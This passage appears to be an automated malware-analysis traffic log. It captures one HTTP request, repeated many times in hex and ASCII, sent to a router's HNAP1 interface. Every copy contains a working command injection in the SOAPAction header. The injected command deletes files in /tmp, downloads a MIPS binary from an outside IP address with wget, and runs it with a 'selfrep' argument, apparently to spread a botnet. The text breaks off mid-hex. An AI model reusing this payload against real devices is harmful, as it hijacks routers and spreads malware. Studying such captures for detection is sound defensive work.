64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 